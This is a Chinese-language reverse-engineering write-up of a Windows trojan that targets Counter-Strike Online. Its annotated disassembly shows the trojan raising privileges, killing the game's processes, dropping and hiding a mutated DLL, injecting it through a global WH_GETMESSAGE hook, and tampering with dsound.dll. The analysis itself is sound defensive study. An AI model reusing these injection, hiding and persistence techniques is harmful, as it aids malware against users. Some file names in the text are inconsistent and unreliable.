病毒汇编逆向分析实例赏析 - 5t4rk - 木马病毒分析

发布于2022年11月8日3年前

病毒名称：    xxmb
壳信息：      yoda's Protector v1.02 (.dll,.ocx) -> Ashkbiz Danehkar (h)
威胁的系统：         windows
相关漏洞：            无

文件系统变化

生成如下文件：
C:\DOCUME~1\jack\LOCALS~1\Temp\kb712959.sve    (Kb后面的数值名称是随机生成的)
C:\Program Files\Common Files\System\kb712959.dla          (由kb712959.sve拷贝得来的)
C:\WINDOWS\system32\dsound.dll
C:\WINDOWS\system32\dsound.dll.YUCH
C:\WINDOWS\system32\DllCache\dsound.dll
C:\WINDOWS\system32\DllCache\dsound.dll.YUCH

详细分析／功能介绍

1.提升本进程权限，查看 "CSOLauncher.exe", "cstrike-online.exe"连个进程是否存在

首先PEID查壳：发现入口RVA:1000   .text段
但是显示是   yoda's Protector v1.02 (.dll,.ocx) -> Ashkbiz Danehkar 壳具体的看看，果然是在加壳之后，又改了入口。

00401000 >/$ B8 D507D0B0   mov eax,0xB0D007D5
00401005 |? B8 6FA04000   mov eax,server.0040A06F
0040100A |? 8BC0          mov eax,eax
0040100C |? 8BD2          mov edx,edx                       ; ntdll.KiFastSystemCallRet
0040100E |? 55            push ebp
0040100F |? 8BE9          mov ebp,ecx
00401011 |. 5D            pop ebp
00401012 |? 50            push eax
00401013 |? 51            push ecx
00401014 |? 8BC8          mov ecx,eax
00401016 |. 59            pop ecx
00401017 |. C3            retn                              ; 将0040A06F压栈使用retn指令返回到40A06F处执行外壳程序

说以现在我们可以更改OEP为 A06F,,,,,然后再去看看可不可以脱壳。
可以看到外壳,使用esp定律就可以脱了
0040A06F > 60              pushad
0040A070    83EC 38         sub esp,0x38
0040A073    33C0            xor eax,eax
0040A075    C745 D8 4765745>mov dword ptr ss:[ebp-0x28],0x50746547
0040A07C    C745 DC 726F634>mov dword ptr ss:[ebp-0x24],0x41636F72
0040A083    C745 E0 6464726>mov dword ptr ss:[ebp-0x20],0x65726464
0040A08A    C745 E4 7373000>mov dword ptr ss:[ebp-0x1C],0x7373

脱壳之后，可以再用PEID查看，是Microsoft Visual C++ 6.0写的

004048B4 >/$ 55            push ebp
004048B5 |. 8BEC          mov ebp,esp
004048B7 |. 6A FF         push -0x1
004048B9 |. 68 E8504000   push Cracker.004050E8
004048BE |. 68 20484000   push <jmp.&MSVCRT._except_handler3>        ; SE 处理程序安装
004048C3 |. 64:A1 0000000>mov eax,dword ptr fs:[0]
004048C9 |. 50            push eax

接下来进入正题了：

单步到
0040382F call 00402B29 跟进

00402BF8 |. C645 E9 65    mov byte ptr ss:[ebp-0x17],0x65
00402BFC |. C645 EA 67    mov byte ptr ss:[ebp-0x16],0x67
00402C00 |. C645 EB 65    mov byte ptr ss:[ebp-0x15],0x65          ; SeDebugPrivileg, cstrike-online.exe, CSOLauncher
00402C04 |. E8 26E8FFFF   call Cracker.0040142F                    ; 提升本进程权限
00402C09 |. 8D45 F0       lea eax,[local.4]
00402C0C |. 50            push eax                                 ; CSOLauncher.exe
00402C0D |. E8 73E6FFFF   call Cracker.00401285
00402C12 |. 8D45 C8       lea eax,[local.14]
00402C15 |. 50            push eax                                 ;   "cstrike-online.exe"
00402C16 |. E8 6AE6FFFF   call Cracker.00401285

跟进40142F看下

0040146F |. C645 FA 6C    mov byte ptr ss:[ebp-0x6],0x6C           ; |
00401473 |. C645 FB 6C    mov byte ptr ss:[ebp-0x5],0x6C           ; |Advapi.dll
00401477 |. 885D FC       mov byte ptr ss:[ebp-0x4],bl             ; |
0040147A |. FFD6          call esi                                 ; \LoadLibraryA

00401558 |. C645 A8 6C    mov byte ptr ss:[ebp-0x58],0x6C
0040155C |. C645 A9 65    mov byte ptr ss:[ebp-0x57],0x65
00401560 |. C645 AA 67    mov byte ptr ss:[ebp-0x56],0x67
00401564 |. C645 AB 65    mov byte ptr ss:[ebp-0x55],0x65
00401568 |. 8D45 DC       lea eax,[local.9]
0040156B |. C645 AC 73    mov byte ptr ss:[ebp-0x54],0x73          ; OpenProcessToken， LookupPrivilegeVauleA, AdjustTokenPrivilege
0040156F |. 50            push eax      ;“FuncName”
00401570 |. 57            push edi       ;hModuleDll
00401571 |. 885D AD       mov byte ptr ss:[ebp-0x53],bl
00401574 |. E8 A7030000   call Cracker.00401920
大家可以跟进401920看看   使用模块句柄，与函数名查找，导出表地址

然后在kernel32.dll中得到CloseHandle,GetCurrentProcess两个进程
GetCurrentProcess---->OpenProcessToken----->LookupPrivilegeValueA---->AdjustTokenPrivileges---->CloseHandle

00401610 |. FFD0          call eax                                 ; GetCurrentProcess
00401612 |. 50            push eax
00401613 |. FF55 88       call [local.30]                          ; OpenProcessToken
00401616 |. 85C0          test eax,eax
00401618 |. 74 5C         je XCracker.00401676
0040161A |. 8D85 7CFFFFFF lea eax,[local.33]
00401620 |. 50            push eax
00401621 |. FF75 08       push [arg.1]
00401624 |. 53            push ebx
00401625 |. FF55 8C       call [local.29]                          ; LookupprivilegeValueA
00401628 |. 85C0          test eax,eax

0040165F |. 53            push ebx
00401660 |. 50            push eax
00401661 |. 53            push ebx
00401662 |. 89B5 6CFFFFFF mov [local.37],esi
00401668 |. FF75 94       push [local.27]
0040166B |. FF55 84       call [local.31]                          ; AdjustTokenPrivileges

跟进call Cracker.00401285
调用LoadLibraryA加载kernel32.dll，然后得到CreateToolhelp32Snapshot,Process32First,Process32Next，然

后查找CSOLauncher.exe，cstrike-online.exe进程，如果找到结束该进程。
对应代码

004013C7 |. FFD3          call ebx                                 ; CreateToolhelp32Snapshot
004013C9 |. 8BD8          mov ebx,eax
004013CB |. EB 03         jmp XCracker.004013D0
004013CD |> 8B5D 08       mov ebx,[arg.1]
004013D0 |> 83FB FF       cmp ebx,-0x1
004013D3 |. 75 04         jnz XCracker.004013D9
004013D5 |. 33C0          xor eax,eax
004013D7 |. EB 51         jmp XCracker.0040142A
004013D9 |> 8D85 94FEFFFF lea eax,[local.91]
004013DF |. C785 94FEFFFF>mov [local.91],0x128
004013E9 |. 50            push eax
004013EA |. 53            push ebx
004013EB |. FF55 BC       call [local.17]                          ; Process32First
004013EE |. 85C0          test eax,eax
004013F0 |. 74 33         je XCracker.00401425
004013F2 |> 8D85 B8FEFFFF /lea eax,[local.82]
004013F8 |. 50            |push eax
004013F9 |. FF75 08       |push [arg.1]                            ; 进程名
004013FC |. E8 CA020000   |call Cracker.004016CB                   ; 相当于strcmp
00401401 |. 59            |pop ecx
00401402 |. 85C0          |test eax,eax
00401404 |. 59            |pop ecx
00401405 |. 75 0C         |jnz XCracker.00401413
00401407 |. FFB5 9CFEFFFF |push [local.89]                         ; 进程PID
0040140D |. E8 8DFDFFFF   |call Cracker.0040119F                   ; OpenProcess TerminateProcess
00401412 |. 59            |pop ecx                                 ; ntdll.7C92F641
00401413 |> 8D85 94FEFFFF |lea eax,[local.91]
00401419 |. 50            |push eax
0040141A |. 53            |push ebx
0040141B |. FF55 C0       |call [local.16]                         ; Process32Next
0040141E |. 85C0          |test eax,eax
00401420 |.^ 75 D0         \jnz XCracker.004013F2

2.将资源写入临时文件C:\DOCUME~1\jack\LOCALS~1\Temp\kb******.sve（******是一串随机数），拷贝变型了的临时文件到 C:\Program Files\Common Files\System\kd******.dla, 并将文件属性设置为隐藏

00403840 |. 8BF8          mov edi,eax
00403842 |. 56            push esi                                 ; /n
00403843 |. 6A 00         push 0x0                                 ; |c = 00
00403845 |. 57            push edi                                 ; |s
00403846 |. E8 E70F0000   call <jmp.&MSVCRT.memset>                ; \memset
0040384B |. 6A 00         push 0x0
0040384D |. 57            push edi
0040384E |. 6A 06         push 0x6
00403850 |. E8 F7F3FFFF   call Cracker.00402C4C
跟进关键call 402C4C

00402D35 |. C645 88 53    mov byte ptr ss:[ebp-0x78],0x53          ; copyfile
00402D39 |. AA            stos byte ptr es:[edi]
00402D3A |. C645 89 4F    mov byte ptr ss:[ebp-0x77],0x4F
00402D3E |. C645 8A 46    mov byte ptr ss:[ebp-0x76],0x46
00402D42 |. C645 8B 54    mov byte ptr ss:[ebp-0x75],0x54
00402D46 |. C645 8C 57    mov byte ptr ss:[ebp-0x74],0x57
00402D4A |. C645 8D 41    mov byte ptr ss:[ebp-0x73],0x41
00402D4E |. C645 8E 52    mov byte ptr ss:[ebp-0x72],0x52
00402D52 |. C645 8F 45    mov byte ptr ss:[ebp-0x71],0x45
00402D56 |. C645 90 5C    mov byte ptr ss:[ebp-0x70],0x5C
00402D5A |. C645 91 41    mov byte ptr ss:[ebp-0x6F],0x41
00402D5E |. 8B7D 0C       mov edi,[arg.2]                          ; 堆首地址
00402D61 |. 8065 9F 00    and byte ptr ss:[ebp-0x61],0x0
00402D65 |. 8065 CE 00    and byte ptr ss:[ebp-0x32],0x0
00402D69 |. 8065 CF 00    and byte ptr ss:[ebp-0x31],0x0
00402D6D |. 8065 BD 00    and byte ptr ss:[ebp-0x43],0x0
00402D71 |. 8D45 B8       lea eax,[local.18]
00402D74 |. 6A 76         push 0x76
00402D76 |. 50            push eax
00402D77 |. 57            push edi
00402D78 |. C645 92 68    mov byte ptr ss:[ebp-0x6E],0x68
00402D7C |. C645 93 6E    mov byte ptr ss:[ebp-0x6D],0x6E
00402D80 |. C645 94 4C    mov byte ptr ss:[ebp-0x6C],0x4C
00402D84 |. C645 95 61    mov byte ptr ss:[ebp-0x6B],0x61
00402D88 |. C645 96 62    mov byte ptr ss:[ebp-0x6A],0x62
00402D8C |. C645 97 5C    mov byte ptr ss:[ebp-0x69],0x5C
00402D90 |. C645 98 48    mov byte ptr ss:[ebp-0x68],0x48
00402D94 |. C645 99 53    mov byte ptr ss:[ebp-0x67],0x53
00402D98 |. C645 9A 68    mov byte ptr ss:[ebp-0x66],0x68
00402D9C |. C645 9B 69    mov byte ptr ss:[ebp-0x65],0x69
00402DA0 |. C645 9C 65    mov byte ptr ss:[ebp-0x64],0x65
00402DA4 |. C645 9D 6C    mov byte ptr ss:[ebp-0x63],0x6C
00402DA8 |. C645 9E 64    mov byte ptr ss:[ebp-0x62],0x64          ; SOFTWARE\AhnLad\HShield
00402DAC |. C645 B8 6D    mov byte ptr ss:[ebp-0x48],0x6D
00402DB0 |. C645 B9 73    mov byte ptr ss:[ebp-0x47],0x73
00402DB4 |. C645 BA 63    mov byte ptr ss:[ebp-0x46],0x63
00402DB8 |. C645 BB 72    mov byte ptr ss:[ebp-0x45],0x72
00402DBC |. C645 BC 6F    mov byte ptr ss:[ebp-0x44],0x6F          ; mscro
00402DC0 |. E8 C9F7FFFF   call Cracker.0040258E

这个call,将资源写入临时文件C:\DOCUME~1\jack\LOCALS~1\Temp\kb******.sve（******是一串随机数）

首先
004025FE |. 885D C8       mov byte ptr ss:[ebp-0x38],bl            ; GetTempPathA
00402601 |. E8 1AF3FFFF   call Cracker.00401920
00402606 |. 59            pop ecx
00402607 |. 59            pop ecx
00402608 |. 8D8D 60FEFFFF lea ecx,[local.104]
0040260E |. 51            push ecx                                 ; 存放临时文件路进
0040260F |. 68 04010000   push 0x104
00402614 |. FFD0          call eax                                 ; GetTempPathA 创建临时文件
00402616 |. 85C0          test eax,eax

然后使用相同的方式得到FindResource--->LoadResource--->SizeOfResource->LockResource->FreeResource

就下来是使用time() 产生一个种子，随机生成6个字符的字符串构成kb******.sve

00402789 |. FF15 98504000 call dword ptr ds:[<&MSVCRT.time>]       ; \time
0040278F |. 50            push eax                                 ; /seed
00402790 |. FF15 94504000 call dword ptr ds:[<&MSVCRT.srand>]      ; \srand
00402796 |. 83C4 30       add esp,0x30
00402799 |. 6A 02         push 0x2
0040279B |. 5F            pop edi
0040279C |> FF15 90504000 /call dword ptr ds:[<&MSVCRT.rand>]      ; [rand
004027A2 |. 6A 0A         |push 0xA
004027A4 |. 99            |cdq
004027A5 |. 59            |pop ecx
004027A6 |. F7F9          |idiv ecx
004027A8 |. 80C2 30       |add dl,0x30
004027AB |. 88943D 64FFFF>|mov byte ptr ss:[ebp+edi-0x9C],dl
004027B2 |. 47            |inc edi
004027B3 |. 83FF 08       |cmp edi,0x8                             ; while(edi < 0x8)
004027B6 |.^ 7C E4         \jl XCracker.0040279C
004027B8 |. C6843D 64FFFF>mov byte ptr ss:[ebp+edi-0x9C],0x2E
004027C0 |. 47            inc edi
004027C1 |. 8D85 64FFFFFF lea eax,[local.39]
004027C7 |. C6843D 64FFFF>mov byte ptr ss:[ebp+edi-0x9C],0x73
004027CF |. 47            inc edi
004027D0 |. 50            push eax
004027D1 |. 8D85 60FEFFFF lea eax,[local.104]
004027D7 |. C6843D 64FFFF>mov byte ptr ss:[ebp+edi-0x9C],0x76

004027E0 |. 50            push eax                                 ; 临时文件路径
004027E1 |. C6843D 64FFFF>mov byte ptr ss:[ebp+edi-0x9C],0x65
004027E9 |. 889C3D 65FFFF>mov byte ptr ss:[ebp+edi-0x9B],bl
004027F0 |. E8 A5EFFFFF   call Cracker.0040179A                    ; strcat
004027F5 |. 8D85 60FEFFFF lea eax,[local.104]
004027FB |. 50            push eax                                 ; C:\DOCUME~1\jack\LOCALS~1\Temp\kb420995.sve
004027FC |. FF75 08       push [arg.1]                             ; 堆首地址
004027FF |. E8 9FEEFFFF   call Cracker.004016A3                    ; 将生成路径名拷贝到堆区

0040280A |. 53            push ebx                                 ; /pModule
0040280B |. FF15 04504000 call dword ptr ds:[<&kernel32.GetModuleH>; \GetModuleHandleA
00402811 |. FF75 0C       push [arg.2]                             ; mscro （自己指定的资源类型）
00402814 |. 8BF8          mov edi,eax
00402816 |. FF75 10       push [arg.3]                             ; 资源ID = 76
00402819 |. 57            push edi
0040281A |. FF55 84       call [local.31]                          ; FindResoureA 定位所指定的资源
0040281D |. 8945 08       mov [arg.1],eax                          ; HRSRC
00402820 |. 50            push eax
00402821 |. 58            pop eax
00402822 |. 395D 08       cmp [arg.1],ebx
00402825 |. 0F84 9B000000 je Cracker.004028C6
0040282B |. FF75 08       push [arg.1]                             ; HRSRC
0040282E |. 57            push edi                                 ; hModule
0040282F |. FF55 88       call [local.30]                          ; LoadResource 加载指定资源到内存
00402832 |. 3BC3          cmp eax,ebx                              ; 407070 是指向资源数据的内存指针

0040284F |. 57            push edi
00402850 |. FF55 98       call [local.26]                          ; SizeOfResource 得到资源大小
00402853 |. BF 10604000   mov edi,Cracker.00406010                 ; ASCII "Kernel32.dll"
00402858 |. 68 44604000   push Cracker.00406044                    ; ASCII "CreateFileA"
0040285D |. 57            push edi
0040285E |. 8945 98       mov [local.26],eax                       ; 【local.26】 = 2800 资源大小
00402861 |. FFD6          call esi
00402863 |. 50            push eax
00402864 |. E8 B7F0FFFF   call Cracker.00401920
00402869 |. 59            pop ecx
0040286A |. 8945 08       mov [arg.1],eax                          ; CreateFile
0040286D |. 59            pop ecx
0040286E |. 68 50604000   push Cracker.00406050                    ; ASCII "CloseHandle"
00402873 |. 57            push edi
00402874 |. FFD6          call esi
00402876 |. 50            push eax
00402877 |. E8 A4F0FFFF   call Cracker.00401920
0040287C |. 59            pop ecx
0040287D |. 8945 0C       mov [arg.2],eax
00402880 |. 59            pop ecx
00402881 |. 8D85 60FEFFFF lea eax,[local.104]
00402887 |. 53            push ebx
00402888 |. 53            push ebx
00402889 |. 6A 02         push 0x2
0040288B |. 53            push ebx
0040288C |. 53            push ebx
0040288D |. 68 000000C0   push 0xC0000000
00402892 |. 50            push eax                                 ; C:\DOCUME~1\jack\LOCALS~1\Temp\kb420995.sve
00402893 |. FF55 08       call [arg.1]                             ; CreateFile
00402896 |. 8BF0          mov esi,eax
00402898 |. 83FE FF       cmp esi,-0x1
0040289B |. 0F84 A4000000 je Cracker.00402945
004028A1 |. 8D45 FC       lea eax,[local.1]
004028A4 |. 53            push ebx                                 ; /pOverlapped
004028A5 |. 50            push eax                                 ; |pBytesWritten
004028A6 |. 8B3D 1C504000 mov edi,dword ptr ds:[<&kernel32.WriteFi>; |kernel32.WriteFile
004028AC |. FF75 98       push [local.26]                          ; |SizeOfResorce 返回值 = 0x2800
004028AF |. FF75 94       push [local.27]                          ; |Buffer = 407070 指向资源指针
004028B2 |. 56            push esi                                 ; |hFile 临时文件句柄
004028B3 |. FFD7          call edi                                 ; \WriteFile

00402DCD |. E8 85FBFFFF   call Cracker.00402957                                 ; 打开母本读取母本后两双字，在临时文件末尾追加随机数据，之后将母本读出双字写入临时文件。目的变型文件，以至每次运行不一样。大家可以跟进去看看

接下来时对注册表操作
00402E36 |. C645 A7 2E    mov byte ptr ss:[ebp-0x59],0x2E
00402E3A |. C645 A8 62    mov byte ptr ss:[ebp-0x58],0x62
00402E3E |. C645 A9 65    mov byte ptr ss:[ebp-0x57],0x65
00402E42 |. C645 AA 74    mov byte ptr ss:[ebp-0x56],0x74                       ; SOFTWORE\Ahnlad\HShield.dbghelp.bet
00402E46 |. E8 57F0FFFF   call Cracker.00401EA2
跟进call 401EA2

00401EB3 |. FF75 08       push [arg.1]
00401EB6 |. E8 06FCFFFF   call Cracker.00401AC1                                 ; RegOpenKeyExA 打开子键 SOFTWORE\Ahnlad\HShield 会打开失败大家可以跟进去看看

00401F84 |. C645 D1 68    mov byte ptr ss:[ebp-0x2F],0x68                       ; |
00401F88 |. C645 D2 65    mov byte ptr ss:[ebp-0x2E],0x65                       ; |Software\Microsoft\windows\ShellNoRoam\MUICache
00401F8C |. 885D D3       mov byte ptr ss:[ebp-0x2D],bl                         ; |
00401F8F |. C645 E4 41    mov byte ptr ss:[ebp-0x1C],0x41                       ; |
00401F93 |. C645 E5 64    mov byte ptr ss:[ebp-0x1B],0x64                       ; |
00401F97 |. C645 E6 76    mov byte ptr ss:[ebp-0x1A],0x76                       ; |
00401F9B |. C645 E7 61    mov byte ptr ss:[ebp-0x19],0x61                       ; |
00401F9F |. C645 E8 70    mov byte ptr ss:[ebp-0x18],0x70                       ; |
00401FA3 |. C645 E9 69    mov byte ptr ss:[ebp-0x17],0x69                       ; |
00401FA7 |. C645 EA 33    mov byte ptr ss:[ebp-0x16],0x33                       ; |
00401FAB |. C645 EB 32    mov byte ptr ss:[ebp-0x15],0x32                       ; |
00401FAF |. C645 EC 2E    mov byte ptr ss:[ebp-0x14],0x2E                       ; |
00401FB3 |. C645 ED 64    mov byte ptr ss:[ebp-0x13],0x64                       ; |
00401FB7 |. C645 EE 6C    mov byte ptr ss:[ebp-0x12],0x6C                       ; |
00401FBB |. C645 EF 6C    mov byte ptr ss:[ebp-0x11],0x6C                       ; |Avdapi32.dll
00401FBF |. 885D F0       mov byte ptr ss:[ebp-0x10],bl                         ; |
00401FC2 |. FF15 00504000 call dword ptr ds:[<&kernel32.LoadLibraryA>]          ; \LoadLibraryA
00401FC8 |. 8BF0          mov esi,eax
00401FCA |. 3BF3          cmp esi,ebx
00401FCC |. 0F84 BB000000 je Cracker.0040208D
00401FD2 |. 8D45 D4       lea eax,[local.11]
00401FD5 |. 57            push edi                                              ; 临时文件

0040203B |. 885D FF       mov byte ptr ss:[ebp-0x1],bl
0040203E |. E8 DDF8FFFF   call Cracker.00401920
00402043 |. 8BF8          mov edi,eax                                           ; edi = RegOpenKeyExA
00402045 |. 8D45 F4       lea eax,[local.3]
00402048 |. 50            push eax
00402049 |. 56            push esi
0040204A |. E8 D1F8FFFF   call Cracker.00401920
0040204F |. 83C4 10       add esp,0x10
00402052 |. 8BF0          mov esi,eax                                           ; esi = RegCloseKey
00402054 |. 8D45 14       lea eax,[arg.4]
00402057 |. 50            push eax
00402058 |. 68 19000200   push 0x20019
0040205D |. 8D45 A4       lea eax,[local.23]
00402060 |. 53            push ebx
00402061 |. 50            push eax                                              ; Software\Microsoft\windows\ShellNoRoam\MUICache
00402062 |. 68 01000080   push 0x80000001                                       ; HKEY_CURRENT_USER
00402067 |. FFD7          call edi                                              ; RegOpenKeyExA
00402069 |. 85C0          test eax,eax                                          ; if（iRet==ERROR_SUCCESS）
0040206B |. 5F            pop edi
0040206C |. 75 11         jnz XCracker.0040207F
0040206E |. FF75 18       push [arg.5]                                          ; 打开子键成功
00402071 |. FF75 14       push [arg.4]
00402074 |. FF75 08       push [arg.1]
00402077 |. E8 4CFCFFFF   call Cracker.00401CC8
咦咦没有改注册表啊，，，？？继续吧

接下来拷贝变型了的临时文件到 C:\Program Files\Common Files\System\kd******.dla, 并将文件属性设置为隐藏

0040318B |. C645 D5 65    mov byte ptr ss:[ebp-0x2B],0x65
0040318F |. C645 D6 6D    mov byte ptr ss:[ebp-0x2A],0x6D                       ; \System
00403193 |. E8 E3E4FFFF   call Cracker.0040167B
00403198 |. 8BF8          mov edi,eax
0040319A |. 47            inc edi
0040319B |. 57            push edi                                              ; kb******.sve
0040319C |. E8 E3E5FFFF   call Cracker.00401784                                 ; strlen
004031A1 |. 83E8 03       sub eax,0x3
004031A4 |. 50            push eax                                              ; /maxlen
004031A5 |. 8D85 4CFFFFFF lea eax,[local.45]                                    ; |复制kd******.
004031AB |. 57            push edi                                              ; |src
004031AC |. 50            push eax                                              ; |dest
004031AD |. FF15 9C504000 call dword ptr ds:[<&MSVCRT.strncpy>]                 ; \strncpy
004031B3 |. 8D85 4CFFFFFF lea eax,[local.45]
004031B9 |. 68 7C604000   push Cracker.0040607C                                 ; ASCII "dla"
004031BE |. 50            push eax                                              ; kd******.
004031BF |. E8 D6E5FFFF   call Cracker.0040179A                                 ; strcat
004031C4 |. 8D85 4CFFFFFF lea eax,[local.45]
004031CA |. 50            push eax                                              ; kd******.dla
004031CB |. 8D85 B8F9FFFF lea eax,[local.402]
004031D1 |. 50            push eax
004031D2 |. E8 CCE4FFFF   call Cracker.004016A3                                 ; memcpy(12F8B0, "kd******.dla")
00403261 |. 8D85 B8F9FFFF lea eax,[local.402]
00403267 |. 50            push eax                                        ; ke******.dla
00403268 |. 8D85 48FEFFFF lea eax,[local.110]
0040326E |. 50            push eax
0040326F |. E8 26E5FFFF   call Cracker.0040179A                           ; strcat
00403274 |. 83C4 18       add esp,0x18
00403277 |> 8D85 48FEFFFF lea eax,[local.110]                             ; C:\Program File\Common Files\Common Filesa\System\ke******.dla
0040327D |. 50            push eax
0040327E |. E8 01E5FFFF   call Cracker.00401784                           ; strlen
00403283 |. 85C0          test eax,eax
00403285 |. 59            pop ecx
00403286 |. 0F84 35010000 je Cracker.004033C1
0040328C |. 8D85 48FEFFFF lea eax,[local.110]
00403292 |. 68 80000000   push 0x80                                       ; /FileAttributes = NORMAL
00403297 |. 50            push eax                                        ; |FileName
00403298 |. FF15 24504000 call dword ptr ds:[<&kernel32.SetFileAttributes>; \SetFileAttributesA
0040329E |. 8D85 48FEFFFF lea eax,[local.110]
004032A4 |. 6A 00         push 0x0
004032A6 |. 50            push eax                                        ; C:\Program File\Common Files\Common Filesa\System\ke******.dla
004032A7 |. FF75 0C       push [arg.2]                                    ; 临时文件路径
004032AA |. FF55 C4       call [local.15]                                 ; copyfile

0040336C |. 8BD8          mov ebx,eax                                     ; ebx = SetFIleAttributes
0040336E |. 59            pop ecx
0040336F |. 8D85 48FEFFFF lea eax,[local.110]
00403375 |. 50            push eax                                        ; C:\Program File\Common Files\Common Filesa\System\ke******.dla
00403376 |. FFD7          call edi                                        ; edi = GetFileAttributesA,
00403378 |. 0C 02         or al,0x2                                       ; 与上 FILE_ATTRIBUTE_HIDDEN
0040337A |. 50            push eax
0040337B |. 8D85 48FEFFFF lea eax,[local.110]
00403381 |. 50            push eax
00403382 |. FFD3          call ebx                                        ; SetFIleAttributes 隐藏文件

3. 加载临时文件，获取他的导出函数LoadDll, 然后调用LoadDll安全全局钩子（钩子类型WH_GETMESSAGE）

0040339F |. C645 C5 6C    mov byte ptr ss:[ebp-0x3B],0x6C
004033A3 |. C645 C6 6C    mov byte ptr ss:[ebp-0x3A],0x6C                 ; LoadDll
004033A7 |. FFD6          call esi                                        ; LoadLibrary （加载临时文件）
004033A9 |. 8D4D C0       lea ecx,[local.16]
004033AC |. 51            push ecx                                        ; LoadDll
004033AD |. 50            push eax                                        ; hModule
004033AE |. E8 6DE5FFFF   call Cracker.00401920
004033B3 |. 59            pop ecx
004033B4 |. 59            pop ecx
004033B5 |. 85C0          test eax,eax
004033B7 |. 74 08         je XCracker.004033C1
004033B9 |. FFD0          call eax                                        ; LoadDll 导出函数

跟进 call eax
发现安装WH_GETMESSAGE类型的全局钩子，在回调函数里都没做，说明这个导出函数目的就是让任何线程调用GetMessage或PeekMessage时加载这个dll,,,,   感觉这个dll里面很邪恶。

10002082    FF7424 0C       push dword ptr ss:[esp+0xC]
10002086    FF7424 0C       push dword ptr ss:[esp+0xC]
1000208A    FF7424 0C       push dword ptr ss:[esp+0xC]
1000208E    FF35 00600010   push dword ptr ds:[0x10006000]
10002094    FF15 DC400010   call dword ptr ds:[0x100040DC]                  ; USER32.CallNextHookEx
1000209A    C2 0C00         retn 0xC
1000209D > 6A 00           push 0x0                                        ; 0 全局钩子
1000209F    FF35 00530010   push dword ptr ds:[0x10005300]                  ; kb372004.10000000
100020A5    68 82200010     push kb372004.10002082                          ; Hook_CallBack
100020AA    6A 03           push 0x3                                        ; WH_GETMESSAGE
100020AC    FF15 D8400010   call dword ptr ds:[0x100040D8]                  ; USER32.SetWindowsHookExA
100020B2    A3 00600010     mov dword ptr ds:[0x10006000],eax
100020B7    C3              retn
100020B8 > FF35 00600010   push dword ptr ds:[0x10006000]
100020BE    FF15 D4400010   call dword ptr ds:[0x100040D4]                  ; USER32.UnhookWindowsHookEx
100020C4    C3              retn

4. 判断C:\windows\system32\dsound.dll文件是都存在，存在就拷贝一份，命名为C:\windows\system32\dsound.dll.dat

00402411 |. C645 D8 41    mov byte ptr ss:[ebp-0x28],0x41                 ; CopyFile
00402415 |. 885D D9       mov byte ptr ss:[ebp-0x27],bl
00402418 |. E8 70F4FFFF   call Cracker.0040188D                           ; 这个call里调用GetSystemDirectory
0040241D |. 8D85 08FCFFFF lea eax,[local.254]
00402423 |. 50            push eax
00402424 |. 8D85 0CFDFFFF lea eax,[local.189]
0040242A |. 50            push eax
0040242B |. E8 73F2FFFF   call Cracker.004016A3
00402430 |. FF75 08       push [arg.1]                                    ; dsound.dll
00402433 |. 8D85 0CFDFFFF lea eax,[local.189]
00402439 |. 50            push eax
0040243A |. E8 5BF3FFFF   call Cracker.0040179A                           ; strcat
0040243F |. 8D85 0CFDFFFF lea eax,[local.189]                             ; C:\windows\system32\dsound.dll
00402445 |. 50            push eax
00402446 |. 8D85 10FEFFFF lea eax,[local.124]                             ; newbuf
0040244C |. 50            push eax
0040244D |. E8 51F2FFFF   call Cracker.004016A3                           ; memcpy
00402452 |. 8D45 E4       lea eax,[local.7]
00402455 |. 50            push eax                                        ; .dat
00402456 |. 8D85 10FEFFFF lea eax,[local.124]
0040245C |. 50            push eax
0040245D |. E8 38F3FFFF   call Cracker.0040179A                           ; C:\windows\system32\dsound.dll.dat
00402462 |. 83C4 24       add esp,0x24
00402465 |. 8D45 D0       lea eax,[local.12]
00402468 |. 50            push eax                                        ; CopyFile
00402469 |. 68 10604000   push Cracker.00406010                           ; /FileName = "Kernel32.dll"
0040246E |. FF15 00504000 call dword ptr ds:[<&kernel32.LoadLibraryA>]    ; \LoadLibraryA
00402474 |. 50            push eax
00402475 |. E8 A6F4FFFF   call Cracker.00401920
0040247A |. 8BF8          mov edi,eax                                     ; edi = CopyFile
0040247C |. 8D85 0CFDFFFF lea eax,[local.189]
00402482 |. 50            push eax                                        ; C:\windows\system32\dsound.dll
00402483 |. E8 3CF3FFFF   call Cracker.004017C4                           ; 调用FindFirstFile 查看传入参数文件是否存在
00402488 |. 8BF0          mov esi,eax
0040248A |. 8D85 10FEFFFF lea eax,[local.124]
00402490 |. 50            push eax                                        ; 看C:\windows\system32\dsound.dll.dat是否存在
004024B2 |> \8D85 10FEFFFF lea eax,[local.124]
004024B8 |. 53            push ebx
004024B9 |. 50            push eax
004024BA |. 8D85 0CFDFFFF lea eax,[local.189]                             ; C:\windows\system32\dsound.dll.dat
004024C0 |. 50            push eax                                        ; C:\windows\system32\dsound.dll
004024C1 |. FFD7          call edi                                        ; copyfile
004024C3 |> 8D8D 14FFFFFF lea ecx,[local.59]                              ; 系统目录\system\"下是否存在"dsound.dll"文件，如果存在则备份dsound.dll
004024C9 |. C645 DC 2E    mov byte ptr ss:[ebp-0x24],0x2E

接下来使用备份文件dsound.dll.bat

004024DD |. C645 E1 36    mov byte ptr ss:[ebp-0x1F],0x36           ; .text6
004024E1 |. 885D E2       mov byte ptr ss:[ebp-0x1E],bl
004024E4 |. C645 EC 2E    mov byte ptr ss:[ebp-0x14],0x2E
004024E8 |. C645 ED 74    mov byte ptr ss:[ebp-0x13],0x74
004024EC |. C645 EE 65    mov byte ptr ss:[ebp-0x12],0x65
004024F0 |. C645 EF 78    mov byte ptr ss:[ebp-0x11],0x78
004024F4 |. C645 F0 74    mov byte ptr ss:[ebp-0x10],0x74
004024F8 |. C645 F1 38    mov byte ptr ss:[ebp-0xF],0x38            ; .text8
004024FC |. 885D F2       mov byte ptr ss:[ebp-0xE],bl
004024FF |. E8 6D130000   call Cracker.00403871                     ; new 后面拷贝备份文件使用
00402504 |. 8D85 10FEFFFF lea eax,[local.124]                       ; C:\windows\system32\dsound.dll.dat
0040250A |. 8D8D 14FFFFFF lea ecx,[local.59]
00402510 |. 50            push eax
00402511 |. 895D FC       mov [local.1],ebx
00402514 |. E8 A5170000   call Cracker.00403CBE

跟进call 00403CBE
00403D5E |. 6A 00         push 0x0                                  ; /pOverlapped = NULL
00403D60 |. 51            push ecx                                  ; |pBytesRead
00403D61 |. FF76 04       push dword ptr ds:[esi+0x4]               ; | FileSize
00403D64 |. 50            push eax                                  ; |Buffer
00403D65 |. 57            push edi                                  ; |hFile
00403D66 |. FF15 10504000 call dword ptr ds:[<&kernel32.ReadFile>] ; \ReadFile
